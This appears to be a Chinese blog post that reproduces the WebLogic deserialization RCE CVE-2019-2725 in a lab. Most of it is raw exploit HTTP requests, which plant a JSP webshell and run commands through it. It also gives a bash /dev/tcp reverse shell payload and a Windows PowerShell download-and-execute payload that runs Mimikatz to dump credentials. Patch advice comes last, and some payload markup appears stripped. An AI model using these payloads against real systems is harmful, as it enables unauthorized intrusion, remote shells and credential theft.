Weblogic反序列化远程代码执行漏洞(CVE-2019-2725)

漏洞简述

  • 2019年4月17日,CNVD 发布《关于Oracle WebLogic wls9-async组件存在反序列化远程命令执行漏洞的安全公告》,公告指出部分版本WebLogic中默认包含的wls9_async_response包,为WebLogic Server提供异步通讯服务。由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者可以发送精心构造的恶意 HTTP 请求,获得目标服务器的权限,在未授权的情况下远程执行命令。

  • 漏洞编号:CVE-2019-2725

  • 影响版本:10.3.6.0、12.1.3.0

  • 测试环境:Linux || vulhub || Weblogic 10.3.6.0

复现开始

  • 访问访问http://your-ip/_async/AsyncResponseService。如果出现下图页面,则有可能会存在漏洞。
    Weblogic反序列化远程代码执行漏洞(CVE-2019-2725)_第1张图片
  • Windows/Linux 通用写入shell代码(一):
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.222.129:7001
Content-Length: 1142
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

xxxxservers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("");
}
%>]]>

  • 发送上述请求包,再发起下面的请求,即可命令执行

    • http://192.168.222.129:7001/_async/webshell.jsp?pwd=123&cmd=whoami
  • Windows/Linux 通用写入shell代码(二):

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.222.129:7001
Content-Length: 1136
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

xxxxservers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell.jsp");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("");
}
%>]]>

  • 发送上述请求包,再发起下面的请求,即可命令执行
    • http://192.168.222.129:7001/bea_wls_internal/webshell.jsp?pwd=123&cmd=whoami
PS上述报文中servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/均为默认路径,如果路径修改,可以配合反弹shell进行获取。
Linux 反弹shell
  • 在攻击机192.168.222.133(实战中需是VPS)上侦听6666端口:nc -lvnp 6666
  • 在原攻击机上发送下面的请求包:
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.222.129:7001
Content-Length: 1142
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml


   
 
xx
xx




/bin/bash


-c


bash -i >& /dev/tcp/192.168.222.133/6666 0>&1








  • 攻击机192.168.222.133即可GetShell
Linux 反弹shell
  • 同理
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.222.155:7001
Content-Length: 861
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

   
 
xx
xx




cmd


/c


powershell "IEX (New-Object Net.WebClient).DownloadString('http://ip:port/payload.ps1'); Invoke-Mimikatz -DumpCreds"








修复建议

可以采取以下4种方式进行防护:

  • 1、官方发布针对此漏洞的紧急修复补丁,及时打上官方CVE-2019-2725补丁包,下载地址如下:https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html?from=timeline

  • 2、升级本地JDK版本
    因为Weblogic所采用的是其安装文件中默认1.6版本的JDK文件,属于存在反序列化漏洞的JDK版本,因此升级到JDK7u21以上版本可以避免由于Java原生类反序列化漏洞造成的远程代码执行。

  • 3、配置URL访问控制策略
    部署于公网的WebLogic服务器,可通过ACL禁止对/_async/*及/wls-wsat/*路径的访问。

  • 4、删除不安全文件
    删除wls9_async_response.war与wls-wsat.war文件及相关文件夹,并重启Weblogic服务。具体文件路径如下:10.3.*版本、12.1.3版本。

PS:wls9_async_response.war及wls-wsat.war属于一级应用包,对其进行移除或更名操作可能造成未知的后果,Oracle官方不建议对其进行此类操作。若在直接删除此包的情况下应用出现问题,将无法得到Oracle产品部门的技术支持。请用户自行进行影响评估,并对此文件进行备份后,再执行此操作。

你可能感兴趣的:(CVE漏洞复现,WebLogic漏洞复现)